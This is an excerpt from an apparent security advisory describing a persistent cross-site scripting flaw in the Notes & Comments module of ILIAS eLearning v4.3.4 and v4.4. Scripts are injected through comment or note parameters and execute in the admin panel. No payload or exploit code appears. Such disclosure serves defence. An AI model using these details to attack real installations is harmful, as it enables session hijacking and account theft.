Technical Details & Description:
|
||
================================
|
||
A persistent input validation web vulnerability is detected in the ILIAS eLearning v4.3.4 & v4.4 CMS web-application.
|
||
The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application side).
|
||
|
||
The persistent web vulnerability is located in the `Notes & Comments` module. Remote attackers are able to inject own
|
||
malicious script code via POST method request in the vulnerable comment or note parameters. The execute occurs in the
|
||
in the comments and private notes modules of the admin panel.
|
||
|
||
Exploitation of the persistent web vulnerability requires low user interaction and a low privileged web-application user account.
|
||
Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent
|
||
web attacks, persistent phishing or persistent module context manipulation.
|
||
